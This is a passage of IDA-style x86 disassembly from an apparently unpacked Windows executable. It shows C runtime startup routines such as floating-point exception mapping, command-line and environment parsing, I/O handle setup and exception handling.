		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422E0E
		mov	ecx, dword_43C970
		mov	edx, dword_43C974
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422D6E
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43C900h[esi*4]

loc_422D65:				; CODE XREF: ___:00422D6Cj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422D65

loc_422D6E:				; CODE XREF: ___:00422D57j
		mov	eax, [eax]
		mov	esi, dword_43C97C
		cmp	eax, 0C000008Eh
		jnz	short loc_422D89
		mov	dword_43C97C, 83h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422D89:				; CODE XREF: ___:00422D7Bj
		cmp	eax, 0C0000090h
		jnz	short loc_422D9C
		mov	dword_43C97C, 81h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422D9C:				; CODE XREF: ___:00422D8Ej
		cmp	eax, 0C0000091h
		jnz	short loc_422DAF
		mov	dword_43C97C, 84h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DAF:				; CODE XREF: ___:00422DA1j
		cmp	eax, 0C0000093h
		jnz	short loc_422DC2
		mov	dword_43C97C, 85h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DC2:				; CODE XREF: ___:00422DB4j
		cmp	eax, 0C000008Dh
		jnz	short loc_422DD5
		mov	dword_43C97C, 82h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DD5:				; CODE XREF: ___:00422DC7j
		cmp	eax, 0C000008Fh
		jnz	short loc_422DE8
		mov	dword_43C97C, 86h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DE8:				; CODE XREF: ___:00422DDAj
		cmp	eax, 0C0000092h
		jnz	short loc_422DF9
		mov	dword_43C97C, 8Ah

loc_422DF9:				; CODE XREF: ___:00422D87j
					; ___:00422D9Aj ...
		push	dword_43C97C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43C97C, esi
		pop	ecx
		pop	esi
		jmp	short loc_422E16
; ---------------------------------------------------------------------------

loc_422E0E:				; CODE XREF: ___:00422D40j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx

loc_422E16:				; CODE XREF: ___:00422E0Cj
		mov	eax, [ebp+8]
		mov	dword_4DB380, eax

loc_422E1E:				; CODE XREF: ___:00422D22j
		or	eax, 0FFFFFFFFh
		jmp	short loc_422E2C
; ---------------------------------------------------------------------------

loc_422E23:				; CODE XREF: ___:00422CFDj
					; ___:00422D08j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 26304DFh

loc_422E2C:				; CODE XREF: ___:00422D1Aj
					; ___:00422E21j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422E2F	proc near		; CODE XREF: ___:00422CF5p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C978
		cmp	dword_43C8F8, edx
		push	esi
		mov	eax, offset dword_43C8F8
		jz	short loc_422E5C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8F8h[esi*4]

loc_422E51:				; CODE XREF: sub_422E2F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422E5C
		cmp	[eax], edx
		jnz	short loc_422E51

loc_422E5C:				; CODE XREF: sub_422E2F+16j
					; sub_422E2F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8F8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422E6F
		cmp	[eax], edx
		jz	short locret_422E71

loc_422E6F:				; CODE XREF: sub_422E2F+3Aj
		xor	eax, eax

locret_422E71:				; CODE XREF: sub_422E2F+3Ej
		retn
sub_422E2F	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DC954, 0
		jnz	short loc_422E80
		call	sub_42026D

loc_422E80:				; CODE XREF: ___:00422E79j
		push	esi
		mov	esi, dword_4DC94C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422EB2

loc_422E8D:				; CODE XREF: ___:00422EA5j
					; ___:00422EA8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422EAA
		test	al, al
		jz	short loc_422EAA
		movzx	eax, al
		push	eax
		call	sub_424D36
		test	eax, eax
		pop	ecx
		jz	short loc_422E8D
		inc	esi
		jmp	short loc_422E8D
; ---------------------------------------------------------------------------

loc_422EAA:				; CODE XREF: ___:00422E93j
					; ___:00422E97j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422EBC

loc_422EAF:				; CODE XREF: ___:00422EC4j
		inc	esi
		jmp	short loc_422EBC
; ---------------------------------------------------------------------------

loc_422EB2:				; CODE XREF: ___:00422E8Bj
		cmp	al, 20h
		jbe	short loc_422EBC

loc_422EB6:				; CODE XREF: ___:00422EBAj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422EB6

loc_422EBC:				; CODE XREF: ___:00422EADj
					; ___:00422EB0j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422EC6
		cmp	al, 20h
		jbe	short loc_422EAF

loc_422EC6:				; CODE XREF: ___:00422EC0j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC954, ebx
		push	esi
		push	edi
		jnz	short loc_422EDC
		call	sub_42026D

loc_422EDC:				; CODE XREF: ___:00422ED5j
		mov	esi, dword_4DB318
		xor	edi, edi

loc_422EE4:				; CODE XREF: ___:00422EFAj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422EFC
		cmp	al, 3Dh
		jz	short loc_422EEF
		inc	edi

loc_422EEF:				; CODE XREF: ___:00422EECj
		push	esi
		call	sub_41AFE0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422EE4
; ---------------------------------------------------------------------------

loc_422EFC:				; CODE XREF: ___:00422EE8j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DB2D0, esi
		jnz	short loc_422F1E
		push	9
		call	sub_41DA29
		pop	ecx

loc_422F1E:				; CODE XREF: ___:00422F14j
		mov	edi, dword_4DB318
		cmp	[edi], bl
		jz	short loc_422F61
		push	ebp

loc_422F29:				; CODE XREF: ___:00422F5Ej
		push	edi
		call	sub_41AFE0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422F5A
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422F4D
		push	9
		call	sub_41DA29
		pop	ecx

loc_422F4D:				; CODE XREF: ___:00422F43j
		push	edi
		push	dword ptr [esi]
		call	sub_41BEB0
		pop	ecx
		add	esi, 4
		pop	ecx

loc_422F5A:				; CODE XREF: ___:00422F36j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422F29
		pop	ebp

loc_422F61:				; CODE XREF: ___:00422F26j
		push	dword_4DB318
		call	sub_41B0B1
		pop	ecx
		mov	dword_4DB318, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DC950, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC954, ebx
		push	esi
		push	edi
		jnz	short loc_422F9A
		call	sub_42026D

loc_422F9A:				; CODE XREF: ___:00422F93j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2660000h
		mov	eax, dword_4DC94C
		mov	off_4DB2E0, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422FBF
		mov	edi, eax

loc_422FBF:				; CODE XREF: ___:00422FBBj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_42301C
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422FEF
		push	8
		call	sub_41DA29
		pop	ecx

loc_422FEF:				; CODE XREF: ___:00422FE5j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_42301C
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DB2C8, esi
		pop	edi
		pop	esi
		mov	dword_4DB2C4, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42301C	proc near		; CODE XREF: ___:00422FCAp
					; ___:00423000p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_423046
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_423046:				; CODE XREF: sub_42301C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42308F

loc_42304B:				; CODE XREF: sub_42301C+58j
					; sub_42301C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_42307D
		test	dl, dl
		jz	short loc_42307D
		movzx	edx, dl
		test	byte_4DC821[edx], 4
		jz	short loc_423070
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423070
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax

loc_423070:				; CODE XREF: sub_42301C+46j
					; sub_42301C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42304B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42304B
; ---------------------------------------------------------------------------

loc_42307D:				; CODE XREF: sub_42301C+36j
					; sub_42301C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423087
		and	byte ptr [esi],	0
		inc	esi

loc_423087:				; CODE XREF: sub_42301C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4230D2
		inc	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------

loc_42308F:				; CODE XREF: sub_42301C+2Dj
					; sub_42301C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42309A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi

loc_42309A:				; CODE XREF: sub_42301C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DC821[ebx], 4
		jz	short loc_4230B5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4230B4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi

loc_4230B4:				; CODE XREF: sub_42301C+91j
		inc	eax

loc_4230B5:				; CODE XREF: sub_42301C+8Bj
		cmp	dl, 20h
		jz	short loc_4230C3
		test	dl, dl
		jz	short loc_4230C7
		cmp	dl, 9
		jnz	short loc_42308F

loc_4230C3:				; CODE XREF: sub_42301C+9Cj
		test	dl, dl
		jnz	short loc_4230CA

loc_4230C7:				; CODE XREF: sub_42301C+A0j
		dec	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------

loc_4230CA:				; CODE XREF: sub_42301C+A9j
		test	esi, esi
		jz	short loc_4230D2
		and	byte ptr [esi-1], 0

loc_4230D2:				; CODE XREF: sub_42301C+6Ej
					; sub_42301C+71j ...
		and	[ebp+arg_10], 0

loc_4230D6:				; CODE XREF: sub_42301C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4231BF

loc_4230DF:				; CODE XREF: sub_42301C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4230EB
		cmp	dl, 9
		jnz	short loc_4230EE

loc_4230EB:				; CODE XREF: sub_42301C+C8j
		inc	eax
		jmp	short loc_4230DF
; ---------------------------------------------------------------------------

loc_4230EE:				; CODE XREF: sub_42301C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4231BF
		test	edi, edi
		jz	short loc_423103
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_423103:				; CODE XREF: sub_42301C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]

loc_423108:				; CODE XREF: sub_42301C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx

loc_423111:				; CODE XREF: sub_42301C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42311A
		inc	eax
		inc	ebx
		jmp	short loc_423111
; ---------------------------------------------------------------------------

loc_42311A:				; CODE XREF: sub_42301C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42314B
		test	bl, 1
		jnz	short loc_423149
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423138
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423138
		mov	eax, edx
		jmp	short loc_42313B
; ---------------------------------------------------------------------------

loc_423138:				; CODE XREF: sub_42301C+10Dj
					; sub_42301C+116j
		mov	[ebp+arg_0], edi

loc_42313B:				; CODE XREF: sub_42301C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx

loc_423149:				; CODE XREF: sub_42301C+106j
		shr	ebx, 1

loc_42314B:				; CODE XREF: sub_42301C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423160
		inc	ebx

loc_423153:				; CODE XREF: sub_42301C+142j
		test	esi, esi
		jz	short loc_42315B
		mov	byte ptr [esi],	5Ch
		inc	esi

loc_42315B:				; CODE XREF: sub_42301C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423153

loc_423160:				; CODE XREF: sub_42301C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4231B0
		cmp	[ebp+arg_10], 0
		jnz	short loc_423176
		cmp	dl, 20h
		jz	short loc_4231B0
		cmp	dl, 9
		jz	short loc_4231B0

loc_423176:				; CODE XREF: sub_42301C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4231AA
		test	esi, esi
		jz	short loc_423199
		movzx	ebx, dl
		test	byte_4DC821[ebx], 4
		jz	short loc_423192
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]

loc_423192:				; CODE XREF: sub_42301C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4231A8
; ---------------------------------------------------------------------------

loc_423199:				; CODE XREF: sub_42301C+162j
		movzx	edx, dl
		test	byte_4DC821[edx], 4
		jz	short loc_4231A8
		inc	eax
		inc	dword ptr [ecx]

loc_4231A8:				; CODE XREF: sub_42301C+17Bj
					; sub_42301C+187j
		inc	dword ptr [ecx]

loc_4231AA:				; CODE XREF: sub_42301C+15Ej
		inc	eax
		jmp	loc_423108
; ---------------------------------------------------------------------------

loc_4231B0:				; CODE XREF: sub_42301C+148j
					; sub_42301C+153j ...
		test	esi, esi
		jz	short loc_4231B8
		and	byte ptr [esi],	0
		inc	esi

loc_4231B8:				; CODE XREF: sub_42301C+196j
		inc	dword ptr [ecx]
		jmp	loc_4230D6
; ---------------------------------------------------------------------------

loc_4231BF:				; CODE XREF: sub_42301C+BDj
					; sub_42301C+D5j
		test	edi, edi
		jz	short loc_4231C6
		and	dword ptr [edi], 0

loc_4231C6:				; CODE XREF: sub_42301C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42301C	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DB488
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42321E
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4231FF
		mov	dword_4DB488, 1
		jmp	short loc_423227
; ---------------------------------------------------------------------------

loc_4231FF:				; CODE XREF: ___:004231F1j
		nop
		call	near ptr 26300A0h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4232F9
		mov	dword_4DB488, 2
		jmp	loc_4232AD
; ---------------------------------------------------------------------------

loc_42321E:				; CODE XREF: ___:004231E9j
		cmp	eax, 1
		jnz	loc_4232A8

loc_423227:				; CODE XREF: ___:004231FDj
		cmp	esi, ebx
		jnz	short loc_423237
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4232F9

loc_423237:				; CODE XREF: ___:00423229j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_42324C

loc_42323E:				; CODE XREF: ___:00423243j
					; ___:0042324Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E

loc_42324C:				; CODE XREF: ___:0042323Cj
		sub	eax, esi
		mov	edi, dword_42717C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_42329D
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_42329D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423299
		push	dword ptr [esp+10h]
		call	sub_41B0B1
		pop	ecx
		mov	[esp+10h], ebx

loc_423299:				; CODE XREF: ___:00423289j
		mov	ebx, [esp+10h]

loc_42329D:				; CODE XREF: ___:00423269j
					; ___:00423278j
		push	esi
		nop
		call	near ptr 26303B2h
		mov	eax, ebx
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------

loc_4232A8:				; CODE XREF: ___:00423221j
		cmp	eax, 2
		jnz	short loc_4232F9

loc_4232AD:				; CODE XREF: ___:00423219j
		cmp	edi, ebx
		jnz	short loc_4232BD
		nop
		call	near ptr 26300A0h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4232F9

loc_4232BD:				; CODE XREF: ___:004232AFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4232CD

loc_4232C3:				; CODE XREF: ___:004232C6j
					; ___:004232CBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3

loc_4232CD:				; CODE XREF: ___:004232C1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4232E3
		xor	esi, esi
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------

loc_4232E3:				; CODE XREF: ___:004232DDj
		push	ebp
		push	edi
		push	esi
		call	sub_41C310
		add	esp, 0Ch

loc_4232EE:				; CODE XREF: ___:004232E1j
		push	edi
		nop
		call	near ptr 26303C9h
		mov	eax, esi
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------

loc_4232F9:				; CODE XREF: ___:00423209j
					; ___:00423231j ...
		xor	eax, eax

loc_4232FB:				; CODE XREF: ___:004232A6j
					; ___:004232F7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423322
		push	1Bh
		call	sub_41DA29
		pop	ecx

loc_423322:				; CODE XREF: ___:00423318j
		mov	dword_4DC600, esi
		mov	dword_4DC700, 20h
		lea	eax, [esi+100h]

loc_423338:				; CODE XREF: ___:00423354j
		cmp	esi, eax
		jnb	short loc_423356
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DC600
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423338
; ---------------------------------------------------------------------------

loc_423356:				; CODE XREF: ___:0042333Aj
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 2890000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423432
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423432
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_42338C
		mov	esi, eax

loc_42338C:				; CODE XREF: ___:00423388j
		cmp	dword_4DC700, esi
		jge	short loc_4233E6
		mov	edi, offset dword_4DC604

loc_423399:				; CODE XREF: ___:004233DCj
		push	100h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4233E0
		add	dword_4DC700, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]

loc_4233B7:				; CODE XREF: ___:004233D1j
		cmp	eax, ecx
		jnb	short loc_4233D3
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4233B7
; ---------------------------------------------------------------------------

loc_4233D3:				; CODE XREF: ___:004233B9j
		add	edi, 4
		cmp	dword_4DC700, esi
		jl	short loc_423399
		jmp	short loc_4233E6
; ---------------------------------------------------------------------------

loc_4233E0:				; CODE XREF: ___:004233A6j
		mov	esi, dword_4DC700

loc_4233E6:				; CODE XREF: ___:00423392j
					; ___:004233DEj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423432

loc_4233EC:				; CODE XREF: ___:00423430j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423429
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423429
		test	cl, 8
		jnz	short loc_42340B
		push	eax
		nop
		call	near ptr 262061Bh
		test	eax, eax
		jz	short loc_423429

loc_42340B:				; CODE XREF: ___:004233FEj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC600[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl

loc_423429:				; CODE XREF: ___:004233F1j
					; ___:004233F9j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4233EC

loc_423432:				; CODE XREF: ___:00423367j
					; ___:00423373j ...
		xor	ebx, ebx

loc_423434:				; CODE XREF: ___:00423497j
		mov	eax, dword_4DC600
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_42348F
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_42344F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423459
; ---------------------------------------------------------------------------

loc_42344F:				; CODE XREF: ___:00423448j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h

loc_423459:				; CODE XREF: ___:0042344Dj
		push	eax
		call	near ptr 2620D25h
		nop
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42347E
		push	edi
		nop
		call	near ptr 262061Bh
		test	eax, eax
		jz	short loc_42347E
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423484

loc_42347E:				; CODE XREF: ___:00423465j
					; ___:00423470j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423493
; ---------------------------------------------------------------------------

loc_423484:				; CODE XREF: ___:0042347Cj
		cmp	eax, 3
		jnz	short loc_423493
		or	byte ptr [esi+4], 8
		jmp	short loc_423493
; ---------------------------------------------------------------------------

loc_42348F:				; CODE XREF: ___:00423440j
		or	byte ptr [esi+4], 80h

loc_423493:				; CODE XREF: ___:00423482j
					; ___:00423487j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423434
		push	dword_4DC700
		nop
		call	near ptr 2620F50h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B8	proc near		; DATA XREF: sub_42205D+Ao
					; sub_42218C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]

loc_4234EB:				; CODE XREF: sub_4234B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42353F
		js	short loc_42354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CB74
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41CC4A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]

loc_42353F:				; CODE XREF: sub_4234B8+40j
					; sub_4234B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4234EB
; ---------------------------------------------------------------------------

loc_42354A:				; CODE XREF: sub_4234B8+54j
		mov	eax, 0
		jmp	short loc_42356D
; ---------------------------------------------------------------------------

loc_423551:				; CODE XREF: sub_4234B8+36j
		mov	eax, 1
		jmp	short loc_42356D
; ---------------------------------------------------------------------------

loc_423558:				; CODE XREF: sub_4234B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		mov	eax, 1

loc_42356D:				; CODE XREF: sub_4234B8+97j
					; sub_4234B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4234B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423590	proc near		; CODE XREF: sub_41DA29+9p
		mov	eax, dword_4DB320
		cmp	eax, 1
		jz	short loc_4235A7
		test	eax, eax
		jnz	short locret_4235C8
		cmp	dword_43A2F4, 1
		jnz	short locret_4235C8

loc_4235A7:				; CODE XREF: sub_423590+8j
		push	0FCh
		call	sub_4235C9
		mov	eax, dword_4DB48C
		pop	ecx
		test	eax, eax
		jz	short loc_4235BD
		call	eax

loc_4235BD:				; CODE XREF: sub_423590+29j
		push	0FFh
		call	sub_4235C9
		pop	ecx

locret_4235C8:				; CODE XREF: sub_423590+Cj
					; sub_423590+15j
		retn
sub_423590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4235C9	proc near		; CODE XREF: sub_41DA29+12p
					; sub_423590+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43C988

loc_4235DC:				; CODE XREF: sub_4235C9+20j
		cmp	edx, [eax]
		jz	short loc_4235EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43CA18
		jl	short loc_4235DC

loc_4235EB:				; CODE XREF: sub_4235C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43C988[esi]
		jnz	loc_423719
		mov	eax, dword_4DB320
		cmp	eax, 1
		jz	loc_4236F3
		test	eax, eax
		jnz	short loc_42361C
		cmp	dword_43A2F4, 1
		jz	loc_4236F3

loc_42361C:				; CODE XREF: sub_4235C9+44j
		cmp	edx, 0FCh
		jz	loc_423719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2660000h
		test	eax, eax
		jnz	short loc_423653
		lea	eax, [ebp+var_1A4]
